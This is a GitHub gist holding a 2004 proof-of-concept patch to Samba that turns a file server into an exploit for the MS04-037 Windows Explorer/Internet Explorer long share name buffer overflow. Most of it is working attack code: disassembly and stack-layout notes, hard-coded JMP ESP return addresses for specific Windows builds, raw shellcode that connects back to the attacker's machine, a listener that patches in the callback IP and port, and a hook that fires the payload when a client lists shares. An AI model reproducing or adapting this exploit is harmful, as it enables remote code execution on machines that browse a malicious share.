Skip to content

Instantly share code, notes, and snippets.

@ykoster
Created October 7, 2019 12:31
Show Gist options
  • Save ykoster/7ba87efd81536ae028be91f99a6e2dea to your computer and use it in GitHub Desktop.
Save ykoster/7ba87efd81536ae028be91f99a6e2dea to your computer and use it in GitHub Desktop.
MS04-037: Vulnerability in Windows Shell Could Allow Remote Code Execution - proof of concept
--- download/samba-3.0.2a/source/rpc_parse/parse_srv.c.O Fri May 21 21:18:14 2004
+++ download/samba-3.0.2a/source/rpc_parse/parse_srv.c Sat Jun 12 18:26:37 2004
@@ -28,6 +28,450 @@
#undef DBGC_CLASS
#define DBGC_CLASS DBGC_RPC_PARSE
+/*
+ * Exploit code for "Microsoft's Explorer and Internet Explorer long
+ * share name buffer overflow" discovered by Rodrigo Gutierrez.
+ * $rev 1.5, Yorick Koster, June 12, 2004
+ *
+ * Tested on:
+ * - Windows NT SP6 English build 1381 (Explorer)
+ * - Internet Explorer 6.0 SP1 6.0.2800.1106 (WinNT SP6 English)
+ * - Windows 2000 SP4 Dutch build 2195 (Explorer)
+ * - Internet Explorer 6.0 SP1 6.0.2800.1106 (Win2k SP4 Dutch)
+ * - Windows 2000 SP4 English build 2195 (Explorer)
+ * - Internet Explorer 6.0 SP1 6.0.2800.1106 (Win2k SP4 English)
+ * - Windows XP SP1 English build 2600 (Explorer)
+ * - Internet Explorer 6.0.2800.1106.xpsp2 (WinXP SP1 English)
+ *
+ * Reference:
+ * http://archives.neohapsis.com/archives/fulldisclosure/2004-04/0913.html
+ *
+ * Vulnerability details:
+ * The buffer overflow occurs upon processing a NetrShareEnum response,
+ * specifcally when processing SHARE_INFO_1 structures. This vulnerability
+ * exists due to an unsafe StrCpyW() call within SHLWAPI.dll. The following
+ * dump was made using OllyDbg (attached to explorer.exe), it contains the
+ * vulnerable function that calls StrCpyW() (line 70AA342A):
+ *
+ * 70AA33E0 /$ 55 PUSH EBP
+ * 70AA33E1 |. 8BEC MOV EBP,ESP
+ * 70AA33E3 |. 81EC 08020000 SUB ESP,208
+ * 70AA33E9 |. 53 PUSH EBX
+ * 70AA33EA |. 56 PUSH ESI
+ * 70AA33EB |. 8B75 10 MOV ESI,DWORD PTR SS:[EBP+10]
+ * 70AA33EE |. F7DE NEG ESI
+ * 70AA33F0 |. 1BF6 SBB ESI,ESI
+ * 70AA33F2 |. B8 00010000 MOV EAX,100
+ * 70AA33F7 |. 23F0 AND ESI,EAX
+ * 70AA33F9 |. 03F0 ADD ESI,EAX
+ * 70AA33FB |. 833D 00B6AC70 >CMP DWORD PTR DS:[70ACB600],0
+ * 70AA3402 |. 57 PUSH EDI
+ * 70AA3403 |. 75 06 JNZ SHORT SHLWAPI.70AA340B
+ * 70AA3405 |. 81CE 00000001 OR ESI,1000000
+ * 70AA340B |> 8B7D 0C MOV EDI,DWORD PTR SS:[EBP+C]
+ * 70AA340E |. 85FF TEST EDI,EDI
+ * 70AA3410 |. 8B5D 08 MOV EBX,DWORD PTR SS:[EBP+8]
+ * 70AA3413 |. 75 09 JNZ SHORT SHLWAPI.70AA341E
+ * 70AA3415 |. 53 PUSH EBX
+ * 70AA3416 |. FF15 3C14A770 CALL DWORD PTR DS:[<&KERNEL32.lstrlenW>]
+ * 70AA341C |. 8BF8 MOV EDI,EAX
+ * 70AA341E |> 85DB TEST EBX,EBX
+ * 70AA3420 |. 74 25 JE SHORT SHLWAPI.70AA3447
+ * 70AA3422 |. 53 PUSH EBX
+ * 70AA3423 |. 8D85 F8FDFFFF LEA EAX,DWORD PTR SS:[EBP-208]
+ * 70AA3429 |. 50 PUSH EAX
+ * 70AA342A |. E8 360BFFFF CALL SHLWAPI.StrCpyW
+ * 70AA342F |. 57 PUSH EDI
+ * 70AA3430 |. 53 PUSH EBX
+ * 70AA3431 |. 57 PUSH EDI
+ * 70AA3432 |. 8D85 F8FDFFFF LEA EAX,DWORD PTR SS:[EBP-208]
+ * 70AA3438 |. 50 PUSH EAX
+ * 70AA3439 |. 56 PUSH ESI
+ * 70AA343A |. 68 00080000 PUSH 800
+ * 70AA343F |. FF15 4C13A770 CALL DWORD PTR DS:[<&KERNEL32.LCMapStringW>]
+ * 70AA3445 |. EB 02 JMP SHORT SHLWAPI.70AA3449
+ * 70AA3447 |> 33C0 XOR EAX,EAX
+ * 70AA3449 |> 5F POP EDI
+ * 70AA344A |. 5E POP ESI
+ * 70AA344B |. 5B POP EBX
+ * 70AA344C |. C9 LEAVE
+ * 70AA344D \. C2 0C00 RETN 0C
+ *
+ * Using the strCpyW() call, we control both EBP and EIP, which are
+ * stored on the stack. Our stack looks something like this:
+ *
+ * vvvvvvvvvvvvvvvvvvvvvvv high adressess
+ * | |
+ * +-----------------------+
+ * | | <- ESP points here
+ * | |
+ * | |
+ * | |
+ * +-----------------------+
+ * | EIP |
+ * +-----------------------+
+ * | EBP |
+ * +-----------------------+
+ * | |
+ * | |
+ * | our buffer |
+ * / /
+ * | 243 - 251 widechars |
+ * | |
+ * | |
+ * +-----------------------+
+ * | |
+ * | IP + backslash |
+ * | 8 - 16 widechars |
+ * | |
+ * +-----------------------+
+ * | |
+ * ^^^^^^^^^^^^^^^^^^^^^^^^^ low addresses
+ * (the stack grows down)
+ *
+ * Note, it appears that the buffer overflow is only triggered when
+ * using IP addresses (e.g. \\127.0.0.1). When using the NetBIOS name
+ * (Internet) Explorer will display the share name. If someone
+ * accidently views the share, for example when browsing the Network
+ * Neighbourhood, it will not execute our shellcode.
+ *
+ * Exploit details:
+ * As is shown in the above illustration, we control EIP after we
+ * have written 245 - 253 widechars on the stack. Normally we would
+ * determine the address of ESP and overwrite EIP with something like
+ * ESP - 500. This will cause the program to execute the code that is in
+ * our buffer. Unfortunately, the address of ESP differs every time we
+ * point Explorer to our malicious share.
+ *
+ * Since we don't know the address of ESP, we can't just overwrite EIP
+ * and jump back to our shellcode. We need to find another way to get
+ * back to our shellcode. Notice that ESP points above our shellcode,
+ * so we have at least one address that is near our shellcode. We may
+ * be able to use this pointer to get back to our shellcode. We can do
+ * something like this:
+ * SUB ESP, 1f4h
+ * JMP ESP
+ *
+ * We may be able to locate these instructions somewhere in one of the
+ * DLLs that are loaded by Explorer. Or we can overwrite our buffer a
+ * bit more and inject a second (small) shellcode on the stack, located
+ * ESP. The purpose of this seconde shellcode is to jump back to the
+ * actual shellcode located below ESP. At this moment we only have to
+ * find a JMP ESP instruction in one of the DLLs loaded by Explorer.
+ * The last method is prefered, since it is more likely that we will
+ * find a JMP ESP located at the same address on various versions of
+ * Windows.
+ *
+ * The same technique also applies to Internet Explorer, however some
+ * DLLs used by Internet Explorer are mapped into a different
+ * address space. Therefore, a JMP ESP in Explorer may not exist (on
+ * the same location) in Internet Explorer.
+ *
+ * There are other methods that can be used to exploit this
+ * vulnerability, however, we'll stick with the method described
+ * above.
+ *
+ * Shellcode:
+ * The shellcode contains several different techniques, the reason
+ * for this is that I wanted to test various methods that are used
+ * when writing shellcode. Because of this, the shellcode is a bit
+ * large (around 500 bytes). However, this is not an issue at the
+ * moment. The shellcode neatly fits into our buffer. The shellcode
+ * has to be obtimized in order for it to work with other buffer
+ * overflows.
+ *
+ * Note that the shellcode contains NULL-bytes, this is also not
+ * an issue, because we send an Unicode string to our target host.
+ * In Unicode, an end-of-line character is encoded using two
+ * NULL-bytes (a short). So, NULL-shorts are not allowed in the
+ * shellcode.
+ *
+ * The shellcode performs the following actions:
+ * - Locate the base address of kernel32.dll
+ * - Find function addresses for the functions:
+ * - ExitProcess (not needed, we can also trigger
+ * an exception)
+ * - LoadLibraryA
+ * - GetProcAddress
+ * - Call LoadLibraryA("ws2_32.dll")
+ * - Call GetProcAddress(<handle>, "WSAStartup")
+ * - Call WSAStartup
+ * - Call GetProcAddress(<handle>, "WSASocket")
+ * - Call GetProcAddress(<handle>, "connect")
+ * - Call WSASocket
+ * - Call connect
+ * - Call ExitProccess
+ *
+ * Notes:
+ * This exploit code has been tested using the following
+ * smb.conf:
+ *
+ * [global]
+ * workgroup = DONTUSESTRCPY
+ * security = share
+ *
+ * [tmp]
+ * path = /tmp
+ * guest ok = yes
+ * read only = yes
+ *
+ * !!! Using this configuration makes /tmp world-readable. !!!
+ *
+ * Be sure to check the contents of /tmp/vulnerable.log and
+ * /usr/local/samba/var/log.smbd when running Samba.
+ *
+ * Disclaimer:
+ * This exploit code is provided as-is, without any warranty.
+ * Your are not allowed to (re)distribute or alter this
+ * exploit code without my permission.
+ *
+ * This code contains at least one (insecure file creation)
+ * vulnerability. It does not claim to be secure in any way,
+ * use it at your own risk.
+ *
+ * -- you shouldn't use strcpy, mmmmkay
+ */
+
+#define NOP 0x90
+
+// return addresses
+#define JMP_ESP_COMCTL32_EXP_WIN2K_SP4_B2195_NL 0x717564b8
+#define JMP_ESP_COMCTL32_IE6_0_2800_1106_WIN2K_SP4_NL 0x007e64b8
+// almost universal ??
+#define JMP_ESP_SHLWAPI_EXP_WIN2K_SP4_B2195_NL 0x70a7bf97
+#define JMP_ESP_SHLWAPI_IE6_0_2800_1106_WIN2K_SP4_NL JMP_ESP_SHLWAPI_EXP_WIN2K_SP4_B2195_NL
+#define JMP_ESP_SHLWAPI_EXP_WIN2K_SP4_B2195_UK JMP_ESP_SHLWAPI_EXP_WIN2K_SP4_B2195_NL
+#define JMP_ESP_SHLWAPI_IE6_0_2800_1106_WIN2K_SP4_UK JMP_ESP_SHLWAPI_EXP_WIN2K_SP4_B2195_NL
+#define JMP_ESP_SHLWAPI_EXP_WINXP_SP1_B2600_UK JMP_ESP_SHLWAPI_EXP_WIN2K_SP4_B2195_NL
+#define JMP_ESP_SHLWAPI_IE6_0_2800_1106_xpsp2_WINXP_SP1_UK JMP_ESP_SHLWAPI_EXP_WIN2K_SP4_B2195_NL
+// does not work on all versions of Windows NT,
+// maybe related to different IE versions?
+#define JMP_ESP_SHLWAPI_EXP_WINNT_SP6_B1381_UK JMP_ESP_SHLWAPI_EXP_WIN2K_SP4_B2195_NL
+#define JMP_ESP_SHLWAPI_IE6_0_2800_1106_WINNT_SP6_UK JMP_ESP_SHLWAPI_EXP_WIN2K_SP4_B2195_NL
+
+// the actual return address
+#define RET JMP_ESP_SHLWAPI_EXP_WIN2K_SP4_B2195_NL
+
+unsigned char shell[] = "\x54\x89\xe5\x81\xc4\x00\xf0\xff\xff\x81\xe4\x00\xff\xff\xff\x8d"
+ "\x45\xe8\x89\x45\xd4\x8d\x45\xe4\x89\x45\xd8\x8d\x45\xe0\x89\x45"
+ "\xdc\xc7\x45\xc8\x6a\xbc\x06\x00\xc7\x45\xcc\x86\x57\x0d\x00\xc7"
+ "\x45\xd0\xfa\x8b\x34\x00\xc6\x45\xbc\x57\xc6\x45\xbd\x53\xc6\x45"
+ "\xbe\x41\xc6\x45\xbf\x53\xc6\x45\xc0\x74\xc6\x45\xc1\x61\xc6\x45"
+ "\xc2\x72\xc6\x45\xc3\x74\xc6\x45\xc4\x75\xc6\x45\xc5\x70\xc6\x45"
+ "\xc6\x00\xc6\x45\xb0\x77\xc6\x45\xb1\x73\xc6\x45\xb2\x32\xc6\x45"
+ "\xb3\x5f\xc6\x45\xb4\x33\xc6\x45\xb5\x32\xc6\x45\xb6\x2e\xc6\x45"
+ "\xb7\x64\xc6\x45\xb8\x6c\xc6\x45\xb9\x6c\xc6\x45\xba\x00\xc6\x45"
+ "\xa4\x57\xc6\x45\xa5\x53\xc6\x45\xa6\x41\xc6\x45\xa7\x53\xc6\x45"
+ "\xa8\x6f\xc6\x45\xa9\x63\xc6\x45\xaa\x6b\xc6\x45\xab\x65\xc6\x45"
+ "\xac\x74\xc6\x45\xad\x41\xc6\x45\xae\x00\xc6\x45\x9c\x63\xc6\x45"
+ "\x9d\x6f\xc6\x45\x9e\x6e\xc6\x45\x9f\x6e\xc6\x45\xa0\x65\xc6\x45"
+ "\xa1\x63\xc6\x45\xa2\x74\xc6\x45\xa3\x00\x33\xc0\x64\x8b\x40\x30"
+ "\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40\x08\x89\x45\xfc\x8b\x58\x3c"
+ "\x03\xd8\x8b\x5b\x78\x03\xd8\x8b\x4b\x18\x89\x4d\xf8\x8b\x4b\x20"
+ "\x03\xc8\x89\x4d\xf4\x8b\x4b\x24\x03\xc8\x89\x4d\xf0\x8b\x4b\x1c"
+ "\x03\xc8\x89\x4d\xec\x33\xdb\x83\xfb\x0c\x74\x64\x8b\x45\xf0\x8b"
+ "\x4d\xf8\x8b\x55\xf4\x49\xe3\x53\x51\x52\x33\xff\x8b\x12\x03\x55"
+ "\xfc\x33\xc9\x8a\x0a\x84\xc9\x74\x0c\x83\xc9\x60\x03\xf9\xd1\xe7"
+ "\x83\xc2\x01\xeb\xec\x8d\x95\xc8\xff\xff\xff\x03\xd3\x8b\x0a\x3b"
+ "\xf9\x5a\x59\x74\x08\x83\xc0\x02\x83\xc2\x04\xeb\xc8\x33\xc9\x66"
+ "\x8b\x08\x8b\x55\xec\xc1\xe1\x02\x03\xd1\x8b\x12\x03\x55\xfc\x8d"
+ "\x8d\xd4\xff\xff\xff\x03\xcb\x8b\x09\x89\x11\x83\xc3\x04\xeb\x97"
+ "\x8d\x9d\xb0\xff\xff\xff\x53\xff\x55\xe4\x8b\xf8\x8d\x9d\xbc\xff"
+ "\xff\xff\x53\x57\xff\x55\xe0\x54\x33\xdb\x66\xbb\x01\x01\x53\xff"
+ "\xd0\x8d\x9d\xa4\xff\xff\xff\x53\x57\xff\x55\xe0\x8b\xf0\x8d\x9d"
+ "\x9c\xff\xff\xff\x53\x57\xff\x55\xe0\x8b\xf8\x33\xc0\x50\x50\x50"
+ "\x50\x40\x50\x40\x50\xff\xd6\x8b\xf0\x66\xb8\xff\xaa\xc1\xe0\x10"
+ "\x66\xb8\x02\x01\x50\x68\x02\x00\x55\x44\x8b\xcc\x33\xc0\xb0\x10"
+ "\x50\x51\x56\xff\xd7\xff\x55\xe8";
+
+unsigned char jmp2sh[] = "\x81\xc4\x06\xfe\xff\xff" // add esp, -1fah
+ "\xff\xe4"; // jmp esp
+
+unsigned char magic_str[] = "\x66\xb8\xff\xaa\xc1\xe0\x10\x66\xb8\x02\x01\x50\x68\x02\x00\x55\x44";
+
+void insert_shellcode(unsigned char *ptr, unsigned char *code, unsigned int len)
+{
+ unsigned int i;
+
+ for(i = 0; i < len; i++)
+ {
+ *(ptr++) = *(code++);
+ }
+}
+
+void insert_address(unsigned char *ptr, unsigned long addr)
+{
+ ptr[0] = (unsigned char)(addr & 0xFF);
+ ptr[1] = (unsigned char)((addr >> 8) & 0xFF);
+ ptr[2] = (unsigned char)((addr >> 16) & 0xFF);
+ ptr[3] = (unsigned char)(addr >> 24);
+}
+
+void spawn_listener(unsigned char *ptr, unsigned int len)
+{
+ int sockfd = socket(PF_INET, SOCK_STREAM, 0);
+ struct sockaddr_in sin;
+ unsigned short port = 1025;
+ char *p;
+
+ memset(&sin, 0, sizeof(sin));
+ sin.sin_family = AF_INET;
+ sin.sin_port = htons(port);
+ sin.sin_addr.s_addr = inet_addr(client_socket_addr());
+
+ while(bind(sockfd, (struct sockaddr *)&sin, sizeof(sin)))
+ {
+ sin.sin_port = htons(++port);
+ if(port == 65535)
+ {
+ DEBUGADD(0, ("Unable to find a suitable portnumber (%d)\n", port));
+ exit(1);
+ }
+ p = (char *)&sin.sin_port;
+ if(!p[1]);
+ continue;
+ }
+
+ if(listen(sockfd, 1024))
+ {
+ DEBUGADD(0, ("Call to listen failed\n"));
+ exit(1);
+ }
+
+ len -= (sizeof(magic_str) - 1);
+ while(memcmp(ptr, magic_str, sizeof(magic_str) - 1))
+ {
+ if(!(--len))
+ {
+ DEBUGADD(0, ("Couldn't locate 'magic string'\n"));
+ exit(1);
+ }
+ ptr++;
+ }
+
+ p = (char *)&sin.sin_addr.s_addr;
+ ptr[2] = p[2];
+ ptr[3] = p[3];
+ ptr[9] = p[0];
+ ptr[10] = p[1];
+ p = (char *)&sin.sin_port;
+ ptr[15] = p[0];
+ ptr[16] = p[1];
+
+ if(!fork())
+ {
+ fd_set fds;
+ struct timeval tv;
+
+ umask(077);
+ tv.tv_sec = 5;
+ tv.tv_usec = 0;
+ FD_ZERO(&fds);
+ FD_SET(sockfd, &fds);
+
+ DEBUGADD(0, ("New listening process started (%s:%d)\n", client_socket_addr(), port));
+ if(select(sockfd + 1, &fds, NULL, NULL, &tv) > 0)
+ {
+ if(FD_ISSET(sockfd, &fds))
+ {
+ FILE *log;
+ struct sockaddr_in cli_addr;
+ socklen_t len = sizeof(cli_addr);
+ int clientfd;
+ time_t tm;
+
+ clientfd = accept(sockfd, (struct sockaddr *)&cli_addr, &len);
+
+ time(&tm);
+ p = ctime(&tm);
+ p[strlen(p) - 1] = 0;
+
+ log = fopen("/tmp/vulnerable.log", "a");
+ if(!strcmp(get_peer_name(clientfd, False), client_name()))
+ {
+ char *fmst = "%s (%s) appears to be vulnerable\n";
+
+ if(log)
+ {
+ fprintf(log, "%s - ", p);
+ fprintf(log, fmst, client_name(), client_addr());
+ fclose(log);
+ }
+ DEBUGADD(0, (fmst, client_name(), client_addr()));
+ }
+ else
+ {
+ DEBUGADD(0, ("NOTICE: a different host (%s) connected back!\n",
+ get_peer_name(clientfd, False)));
+ }
+ close(clientfd);
+ }
+ }
+
+ close(sockfd);
+ exit(0);
+ }
+
+ close(sockfd);
+}
+
+void dump_buffer(unsigned char *ptr, unsigned int len)
+{
+ unsigned int i;
+
+ for(i = 0; i < len; i++)
+ {
+ if(!(i % 32))
+ {
+ DEBUGADD(0, ("\n"));
+ }
+ DEBUGADD(0, ("%.2x ", *(ptr++)));
+ }
+ DEBUGADD(0, ("\n"));
+}
+
+void do_sploit(UNISTR2 *unistr)
+{
+ int i = 0;
+
+ DEBUG(0, ("Trying to exploit %s\n", client_name()));
+
+ unistr->uni_max_len = 300;
+ unistr->uni_str_len = unistr->uni_max_len;
+ unistr->offset = 0;
+ DEBUGADD(0, ("Reallocating memory\n"));
+ unistr->buffer = talloc_realloc(get_talloc_ctx(), unistr->buffer,
+ unistr->uni_max_len * sizeof(uint16));
+ memset(unistr->buffer, NOP, unistr->uni_max_len * sizeof(uint16));
+ i += (16 - strlen(client_socket_addr())) + 1;
+
+ DEBUGADD(0, ("Inserting shellcode\n"));
+ insert_shellcode((unsigned char *)&unistr->buffer[i], shell, sizeof(shell) - 1);
+ i += 242;
+
+// DEBUGADD(0, ("Setting EBP\n"));
+// insert_address((unsigned char *)&unistr->buffer[i], 0x44434241);
+ i += 2;
+
+ DEBUGADD(0, ("Setting EIP\n"));
+ insert_address((unsigned char *)&unistr->buffer[i], RET);
+ i += 8;
+
+ DEBUGADD(0, ("Inserting shellcode\n"));
+ insert_shellcode((unsigned char *)&unistr->buffer[i], jmp2sh, sizeof(jmp2sh) - 1);
+
+ DEBUGADD(0, ("Spawning a new process, binding to a port & setting IP + port number\n"));
+ spawn_listener((unsigned char *)unistr->buffer, unistr->uni_max_len * sizeof(uint16));
+
+ unistr->buffer[unistr->uni_max_len - 1] = 0;
+
+ fflush(NULL);
+ DEBUGADD(0, ("Buffer contents: "));
+ dump_buffer((unsigned char *)unistr->buffer, unistr->uni_max_len * sizeof(uint16));
+
+ return;
+}
+
/*******************************************************************
Inits a SH_INFO_0_STR structure
********************************************************************/
@@ -119,6 +563,10 @@
if(!prs_align(ps))
return False;
+ if(!sh1->ptrs->type)
+ {
+ do_sploit(&sh1->uni_netname);
+ }
if(sh1->ptrs->ptr_netname)
if(!smb_io_unistr2("", &sh1->uni_netname, True, ps, depth))
return False;
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment